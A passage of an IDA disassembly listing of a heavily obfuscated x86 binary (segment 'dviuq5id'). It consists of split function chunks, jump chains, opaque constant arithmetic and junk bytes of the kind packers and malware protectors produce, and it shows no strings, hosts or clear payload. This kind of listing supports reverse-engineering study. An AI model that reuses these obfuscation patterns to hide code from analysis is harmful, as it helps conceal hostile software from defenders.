arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00442F22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004435DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004488EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044C095 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0045346B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00453500 SIZE 0000001B BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edi, [esp-4+arg_0]
		push	ecx
		push	20B9169Eh
		pop	ecx
		jmp	loc_453500
sub_43EE53	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4556AE

loc_43EE66:				; CODE XREF: sub_4556AE:loc_43E9BFj
		jnz	loc_45429D
		jmp	loc_4565B7
; END OF FUNCTION CHUNK	FOR sub_4556AE
; ---------------------------------------------------------------------------

loc_43EE71:				; CODE XREF: dviuq5id:00444EAEj
		jo	loc_44A1EB
		mov	edx, [esi]
		jmp	loc_44AAB0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C86

loc_43EE7F:				; CODE XREF: sub_443C86-20Aj
		jmp	loc_43F7D3
; END OF FUNCTION CHUNK	FOR sub_443C86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_43EE84:				; CODE XREF: sub_44623D-3EA3j
		jmp	loc_44F29C
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------

loc_43EE89:				; CODE XREF: dviuq5id:0044CCA6j
		jns	loc_44EE20

; =============== S U B	R O U T	I N E =======================================



sub_43EE8F	proc near		; CODE XREF: dviuq5id:0043B3C0p

; FUNCTION CHUNK AT 0043B837 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C997 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00446BDB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448F86 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		dec	dword ptr [ebp-2Ch]
		jnz	loc_45507B
		jmp	loc_43B837
sub_43EE8F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_43EEA1:				; CODE XREF: sub_43AEAA+12D8Ej
		jle	loc_44817A
		push	0BB977031h
; END OF FUNCTION CHUNK	FOR sub_43AEAA

; =============== S U B	R O U T	I N E =======================================



sub_43EEAC	proc near		; CODE XREF: sub_43AEAA:loc_450B39j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004476C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E6D4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00452CF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459E63 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, ecx
		jmp	loc_4476C8
sub_43EEAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EEB4	proc near		; DATA XREF: dviuq5id:00456172o
		mov	edx, [ebx+ecx]
		call	sub_4505B4
sub_43EEB4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_43EEBC:				; CODE XREF: sub_43ED10+465Fj
		jmp	loc_443105
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9D7

loc_43EEC1:				; CODE XREF: sub_44D9D7:loc_449BF9j
		add	edx, 5CB92731h
		push	offset sub_440F76
		jmp	nullsub_397
; END OF FUNCTION CHUNK	FOR sub_44D9D7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_331. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD6F

loc_43EED2:				; CODE XREF: sub_43DD6F+11BA7j
		jmp	loc_442A7F
; END OF FUNCTION CHUNK	FOR sub_43DD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_43EED7:				; CODE XREF: sub_444A5E+1384Aj
		test	edi, 2000000h
		jmp	loc_44370E
; END OF FUNCTION CHUNK	FOR sub_444A5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_473. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	byte ptr [edi],	94h
		add	[eax], eax
		pop	edx
		mov	eax, [esp]
		push	edx
		push	offset sub_44C7A1
		jmp	locret_44F709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_43EEF7:				; CODE XREF: sub_44FD8E:loc_458315j
		xchg	eax, [esp+4+var_4]
		push	ebx
		push	742B6176h
		pop	ebx
		jmp	loc_451D14
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C350

loc_43EF06:				; CODE XREF: sub_43C350+17j
		xchg	ecx, [esp+0]
		jmp	loc_449149
; END OF FUNCTION CHUNK	FOR sub_43C350

; =============== S U B	R O U T	I N E =======================================



sub_43EF0E	proc near		; DATA XREF: sub_43BC7B+16F9o

; FUNCTION CHUNK AT 004488E1 SIZE 00000005 BYTES

		mov	edi, edx
		xchg	edi, [esp+0]
		push	offset loc_44280D
		jmp	loc_4488E1
sub_43EF0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EF1D	proc near		; DATA XREF: sub_443669+1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BB35 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00440549 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00441808 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E52 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00442174 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004478DD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00456106 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004578CE SIZE 0000000B BYTES

		jb	loc_4478DD
		mov	eax, [esp+0]
		push	offset loc_444735
		jmp	nullsub_42
sub_43EF1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F5D6

loc_43EF30:				; CODE XREF: sub_44F5D6:loc_44DAA6j
		mov	eax, 2D912001h
		call	sub_453642
		call	sub_43ECD8
; END OF FUNCTION CHUNK	FOR sub_44F5D6
; START	OF FUNCTION CHUNK FOR sub_459983

loc_43EF3F:				; CODE XREF: sub_459983-11FE8j
		jmp	loc_451C9D
; END OF FUNCTION CHUNK	FOR sub_459983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_43EF44:				; CODE XREF: sub_43E10E-D0j
					; dviuq5id:0043E7B7j
		shl	edi, 1Dh
		jmp	loc_43CBAA
; END OF FUNCTION CHUNK	FOR sub_43E10E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_43EF4D:				; CODE XREF: sub_44ABE0:loc_458954j
		xor	ecx, 0C18F0F8Fh
		sub	ecx, 0D14C1354h
		rol	ecx, 0Ah
		add	ecx, 8456A028h
		xchg	ecx, [esp+0]
		jmp	loc_45682F
; END OF FUNCTION CHUNK	FOR sub_44ABE0
; ---------------------------------------------------------------------------
		mov	eax, 24CC2B1h
		jmp	loc_44BC73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B18

loc_43EF74:				; CODE XREF: sub_451B18:loc_44F041j
		rol	eax, 8
		jmp	loc_4482A4
; END OF FUNCTION CHUNK	FOR sub_451B18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_43EF7C:				; CODE XREF: sub_443ECEj
		mov	eax, ds:dword_440D88
		or	eax, eax
		jnz	loc_442B7B
		jmp	loc_4447AF
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------

loc_43EF8F:				; CODE XREF: dviuq5id:00449AFCj
		or	ecx, 95A5C9D4h
		jmp	loc_456F5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_387. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43EF9B:				; CODE XREF: sub_459385-69A7j
		jmp	sub_45A04B
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_43EFA0:				; CODE XREF: sub_453BE2-15ABCj
		jmp	loc_44A0D3
; END OF FUNCTION CHUNK	FOR sub_453BE2

; =============== S U B	R O U T	I N E =======================================



sub_43EFA5	proc near		; CODE XREF: sub_41B981+20p
					; sub_41BB83+43p ...

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00439789 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00442454 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004480F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A6B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A9E1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D139 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D797 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004525C2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00455E9C SIZE 00000014 BYTES

		push	esi
		push	0F290E70Fh
		pop	esi
		rol	esi, 4
		and	esi, 471BECC2h
		jns	loc_455E9C

loc_43EFBB:				; CODE XREF: sub_43DCB4+100DEj
		jmp	loc_439789
sub_43EFA5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43EFC0:				; CODE XREF: sub_454094-844Dj
		jmp	loc_45303B
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		add	ebp, 6F20CC44h
		jmp	loc_4521EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_43EFD1:				; CODE XREF: sub_45753F-11D74j
		and	ebx, edx
		jns	sub_458330

loc_43EFD9:				; CODE XREF: sub_45753F:loc_4457C3j
		rol	ecx, 13h
		or	ecx, ds:4000F4h
		jmp	loc_43FE4B
; END OF FUNCTION CHUNK	FOR sub_45753F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1E3

loc_43EFE8:				; CODE XREF: sub_44B1E3+1Bj
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_44B1E3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_43EFEE:				; CODE XREF: sub_4547E2-C0ABj
		jmp	loc_43E0CA
; END OF FUNCTION CHUNK	FOR sub_4547E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43EFF3:				; CODE XREF: sub_445B81:loc_43D7DEj
					; sub_43EE53+9A9Aj ...
		jnb	loc_44209C
		cmp	dword ptr [ebp-4], 6
		jnz	loc_449FC8
		jmp	loc_45688B
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43F008:				; CODE XREF: sub_44514D+695Aj
		cmp	edx, 0F1D3E662h
		jmp	loc_444ECE
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_43F013	proc near		; CODE XREF: dviuq5id:0044019Dp
					; dviuq5id:004532E3j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043CABB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044F338 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004540DF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004589ED SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		call	sub_44C294
		mov	eax, 510AEA73h
		jmp	loc_4540DF
sub_43F013	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD1

loc_43F026:				; CODE XREF: sub_43CCD1+9j
		xchg	ecx, [esp+4+var_4]
		push	ebp
		pop	esi
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		jmp	loc_44ED35
; END OF FUNCTION CHUNK	FOR sub_43CCD1
; ---------------------------------------------------------------------------

loc_43F036:				; CODE XREF: dviuq5id:00444D01j
		jb	loc_43D312
; START	OF FUNCTION CHUNK FOR sub_43E84C

loc_43F03C:				; CODE XREF: sub_43E84C+64A7j
		rol	esi, 18h
		xor	esi, 0F13DE367h
		add	esi, ebp
		jmp	sub_453977
; END OF FUNCTION CHUNK	FOR sub_43E84C

; =============== S U B	R O U T	I N E =======================================



sub_43F04C	proc near		; DATA XREF: dviuq5id:0044079Fo
		add	edx, 0F5040936h
		xchg	edx, [esp+0]
		jmp	sub_449EB7
sub_43F04C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_43F05A:				; CODE XREF: sub_458F2A-4F9Aj
		jb	loc_451A48
		jmp	loc_43B697
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
		db 9Fh,	93h, 0FCh
dword_43F068	dd 0			; DATA XREF: sub_447ECD+3A3Fw
dword_43F06C	dd 0			; DATA XREF: sub_449C2A:loc_44C542w
					; sub_446CFB+13520r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43F070:				; CODE XREF: sub_44EAC4-6C68j
		jmp	loc_449E5D
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		db 0B7h, 5, 1Eh
dword_43F078	dd 6951DF98h		; DATA XREF: dviuq5id:00440F2Ew
					; dviuq5id:00447931w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F697

loc_43F07C:				; CODE XREF: sub_44F697-B136j
		jmp	loc_44B764
; END OF FUNCTION CHUNK	FOR sub_44F697
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_43F081:				; CODE XREF: sub_4422EC+16j
		jmp	loc_44D5A9
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
		dw 0A761h
		dd 0D6EEFCEh
; ---------------------------------------------------------------------------

loc_43F08C:				; CODE XREF: dviuq5id:00448101j
		jmp	loc_442307
; ---------------------------------------------------------------------------
		db 0Ah,	49h, 10h
dword_43F094	dd 0F1DF5172h		; DATA XREF: sub_45936Fw
					; sub_450217+9FB5r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F1E

loc_43F098:				; CODE XREF: dviuq5id:loc_446851j
					; sub_451F1E-6279j
		jmp	loc_452480
; END OF FUNCTION CHUNK	FOR sub_451F1E
; ---------------------------------------------------------------------------

loc_43F09D:				; CODE XREF: dviuq5id:00452912j
		jnz	loc_44253B
		jmp	loc_44944B
; ---------------------------------------------------------------------------

loc_43F0A8:				; DATA XREF: dviuq5id:0043A081o
		push	0E2B831h
		pop	eax
		sub	eax, 6F2DF778h
		xor	eax, 2650FEAAh
		and	eax, 7DBFEC73h
		cmp	eax, 0BC113A94h
		jmp	loc_446A65
; ---------------------------------------------------------------------------

loc_43F0CB:				; CODE XREF: dviuq5id:loc_444C8Ej
		call	sub_43938B
		test	al, al
		jz	loc_456FA0
		jmp	loc_4524BC
; ---------------------------------------------------------------------------

loc_43F0DD:				; CODE XREF: dviuq5id:0043E3F2j
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_43F0DE:				; CODE XREF: sub_44C6B8:loc_43DEA6j
		and	edi, 9AC9BC7Dh
		sub	edi, 658682C8h
		test	edi, 1000000h
		jmp	loc_4444B6
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_43F0F5:				; CODE XREF: sub_450E57:loc_43DE6Fj
		pushf
		jmp	loc_45059D
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------

loc_43F0FB:				; CODE XREF: dviuq5id:loc_4442D9j
		or	edi, 28591C98h
		cmp	edi, 656ACF24h
		jmp	loc_443634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_43F10C:				; CODE XREF: sub_44B70C-7B05j
		pop	eax
		rol	eax, 1Fh
		cmp	eax, 0BEC7DC6Ch
		jmp	loc_4555AA
; END OF FUNCTION CHUNK	FOR sub_44B70C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43F11B:				; CODE XREF: sub_454094-B594j
		jnp	loc_44527A
		sbb	esi, ebx
		add	ebx, 4BF40C70h
		jmp	loc_43B81C
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C528

loc_43F12E:				; CODE XREF: sub_44C528+Dj
		call	sub_446682

loc_43F133:				; CODE XREF: sub_459983-175CAj
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_44C528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43F138:				; CODE XREF: sub_454094-17BAFj
		jmp	loc_44520F
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_43F13D:				; CODE XREF: sub_4582AD+4A7j
		mov	eax, [eax]
; END OF FUNCTION CHUNK	FOR sub_4582AD
; START	OF FUNCTION CHUNK FOR sub_446544

loc_43F13F:				; CODE XREF: sub_446544:loc_44BD84j
		call	sub_453B6B
; END OF FUNCTION CHUNK	FOR sub_446544
; START	OF FUNCTION CHUNK FOR sub_445F35

loc_43F144:				; CODE XREF: sub_45169D-16645j
					; sub_44250B-616Aj ...
		mov	esp, ebp
		xchg	esi, [esp+0]
		mov	ebp, esi
		jmp	loc_453B64
; END OF FUNCTION CHUNK	FOR sub_445F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_43F150:				; CODE XREF: sub_455B54-CF54j
		pop	edi
		rol	edi, 3
		or	edi, 7C4CF114h
		test	edi, 4000h
		jmp	loc_4442DE
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------
		sbb	edx, eax
		jmp	sub_449C42
; ---------------------------------------------------------------------------
		test	edx, ecx
		jmp	loc_453620
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		lea	eax, [eax-78FFFED3h]
		sub	[edi], ecx
		mov	ah, [edi+69h]
		add	[eax], eax
		and	edi, ecx
		jmp	loc_44C24E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4556AE

loc_43F188:				; CODE XREF: sub_4556AE+6j
		cmp	al, 0A4h
		jz	loc_4510C1
		jmp	loc_43E9BF
; END OF FUNCTION CHUNK	FOR sub_4556AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43F195:				; CODE XREF: sub_4525D0-C1B9j
		jnp	loc_44A925
		mov	[eax], edx

loc_43F19D:				; CODE XREF: sub_4525D0:loc_459A2Fj
		push	0F3D307CAh
		pop	eax
		xor	eax, 0FFA603Dh
		or	eax, 0D7D38916h
		and	eax, 0E9A0BA31h
		jmp	loc_44B677
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_43F1BA	proc near		; CODE XREF: dviuq5id:loc_444210p
					; dviuq5id:00455990j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00445983 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449E6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004561B3 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0D9C15924h
		pop	ebx
		add	ebx, 25277941h
		jmp	loc_4561B3
sub_43F1BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_43F1CF:				; CODE XREF: sub_447A8A+14DAj
		test	ecx, edi
		jmp	loc_4564B4
; END OF FUNCTION CHUNK	FOR sub_447A8A

; =============== S U B	R O U T	I N E =======================================



sub_43F1D6	proc near		; DATA XREF: sub_44117F+13AE8o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043AA90 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00442C51 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00445D47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451C3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454590 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004594BA SIZE 0000001C BYTES

		mov	eax, [ebp-14h]
		mov	eax, [eax+60h]
		jmp	loc_445D47
sub_43F1D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_43F1E1:				; CODE XREF: sub_448424:loc_453596j
		xor	eax, eax
		mov	[ebp-10h], eax
		jmp	loc_452691
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------

loc_43F1EB:				; CODE XREF: dviuq5id:004478AEj
		jb	loc_43FAB7
		shl	ebp, 1Fh
		jmp	loc_44D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43F1F9:				; CODE XREF: sub_441DDA-D26j
					; sub_454267:loc_457A57j
		mov	eax, 400h
		call	sub_442BBA
		mov	[ebp-8], eax
		push	400h
		mov	eax, [ebp-8]
		push	esi
		mov	esi, ebp
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_45944A
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_43F219:				; CODE XREF: sub_44C07B-11559j
		sub	edx, 0F40E0F22h
		add	edx, ds:4000F6h
		sub	edx, 522DFC76h
		cmp	edx, 1D76DBB8h
		jmp	loc_43F972
; END OF FUNCTION CHUNK	FOR sub_44C07B

; =============== S U B	R O U T	I N E =======================================



sub_43F236	proc near		; CODE XREF: sub_455B3A-1A365p
					; dviuq5id:0045539Cj

; FUNCTION CHUNK AT 004417CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004502A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457749 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00458414 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, 0D3E2C623h
		add	eax, ecx
		pop	ecx
		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_4502A0
sub_43F236	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43F254:				; DATA XREF: sub_45584Bo
		jo	loc_44E868
		push	0D68B0B05h
		pop	eax
		or	eax, 2B779AE7h
		rol	eax, 17h
		add	eax, 0C449247h
		jmp	loc_43C72A
; ---------------------------------------------------------------------------

loc_43F274:				; CODE XREF: dviuq5id:00444C2Ej
		cmp	ebp, 3858C230h
		jmp	loc_456CB9
; ---------------------------------------------------------------------------

loc_43F27F:				; CODE XREF: dviuq5id:00456501j
		sbb	esi, 3C84D86Ah

; =============== S U B	R O U T	I N E =======================================



sub_43F285	proc near		; CODE XREF: sub_451D24+8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439AD9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043A0DA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F4BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441627 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004463CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F234 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00451D0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045286C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004579F2 SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp-4+arg_0]
		mov	ebp, esp
		push	ecx
		jmp	loc_439AD9
sub_43F285	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441881

loc_43F294:				; CODE XREF: sub_441881+4F1Dj
		or	esi, 0EA2A901h
		rol	esi, 4
		or	esi, 0E952A416h
		add	esi, 14C9D383h
		popf
		call	sub_43BC8E

loc_43F2AF:				; CODE XREF: dviuq5id:00456CAEj
		jmp	loc_44CE28
; END OF FUNCTION CHUNK	FOR sub_441881

; =============== S U B	R O U T	I N E =======================================



sub_43F2B4	proc near		; CODE XREF: sub_440898:loc_43A632j
					; sub_453BE2+1D18p

; FUNCTION CHUNK AT 0043B478 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450BA1 SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 8706CDD0h
		add	eax, ebp
		add	eax, 7637D22Bh
		jmp	loc_43B478
sub_43F2B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F2CB	proc near		; DATA XREF: sub_443ECE+12CADo

; FUNCTION CHUNK AT 00440DE9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004549F3 SIZE 00000005 BYTES

		call	sub_453642
		rol	eax, 5
		sub	eax, 4E245E4Eh
		push	edi
		push	94186E51h
		pop	edi
		xor	edi, 65E9534h
		and	edi, 0E7663834h

loc_43F2EC:				; CODE XREF: dviuq5id:loc_44C5B9j
		jmp	loc_4549F3
sub_43F2CB	endp

; ---------------------------------------------------------------------------

loc_43F2F1:				; CODE XREF: dviuq5id:loc_44EDD6j
		jnz	loc_4567F6
		add	eax, 0F024958Ah
		cdq
		jmp	loc_4567F4
; ---------------------------------------------------------------------------

loc_43F303:				; CODE XREF: dviuq5id:0043A22Dj
		mov	esi, eax
		pop	eax
		or	esi, 0B156226Eh
		sub	esi, 0F1FCFBBBh
		jmp	loc_43C7D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_43F317:				; CODE XREF: sub_44A133-937Ej
		cmp	edx, esi
		jmp	loc_444B25
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43F31E:				; CODE XREF: sub_43BD72-15E6j
		push	eax
		push	esi
		push	2195E3D7h
		pop	esi
		jmp	loc_43A07C
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------

loc_43F32B:				; CODE XREF: dviuq5id:00444451j
		call	sub_453642
		push	esi
		push	0EAE3DD2Ch
		pop	esi
		rol	esi, 11h
		and	esi, 89A45EFCh
		jmp	loc_455D69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFD9

loc_43F345:				; CODE XREF: sub_43FFD9+21j
		mov	[ebx], eax
		pop	ebx
		pushf
		push	0C50E0B85h
		pop	eax
		add	eax, 0CD104673h
		xor	eax, 7A59F2Bh
		call	sub_445F35
; END OF FUNCTION CHUNK	FOR sub_43FFD9
; START	OF FUNCTION CHUNK FOR sub_43D89E

loc_43F360:				; CODE XREF: sub_43D89E+7j
		jmp	sub_454AAA
; END OF FUNCTION CHUNK	FOR sub_43D89E
; ---------------------------------------------------------------------------

loc_43F365:				; CODE XREF: dviuq5id:0043C432j
		jmp	loc_44D60E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_43F36A:				; CODE XREF: sub_459385:loc_453898j
		jge	loc_454D36

loc_43F370:				; CODE XREF: sub_4539EF+Aj
		jmp	loc_44A89E
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------

loc_43F375:				; CODE XREF: dviuq5id:00452A5Cj
		jmp	loc_4466F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5DC

loc_43F37A:				; CODE XREF: sub_43F5DC+12j
		jmp	loc_449F91
; END OF FUNCTION CHUNK	FOR sub_43F5DC
; ---------------------------------------------------------------------------
		rol	edx, 10h
		jmp	loc_457812
; ---------------------------------------------------------------------------

loc_43F387:				; DATA XREF: sub_44F212+18o
		add	eax, 8BFFDF21h
		xchg	eax, [esp]
		push	2
		lea	eax, [ebp-400h]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		call	sub_459545
		jmp	loc_44305D
; ---------------------------------------------------------------------------
		cdq
		mov	[edi], ecx
		popf
		xor	ecx, 175DA602h
		shr	ecx, 1Ch
		jmp	loc_44C653
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_43F3BA:				; CODE XREF: sub_4509F7:loc_44E1BBj
		call	sub_43C162
; END OF FUNCTION CHUNK	FOR sub_4509F7
; START	OF FUNCTION CHUNK FOR sub_451EC6

loc_43F3BF:				; CODE XREF: sub_451EC6-E422j
		jmp	sub_43A201
; END OF FUNCTION CHUNK	FOR sub_451EC6
; ---------------------------------------------------------------------------
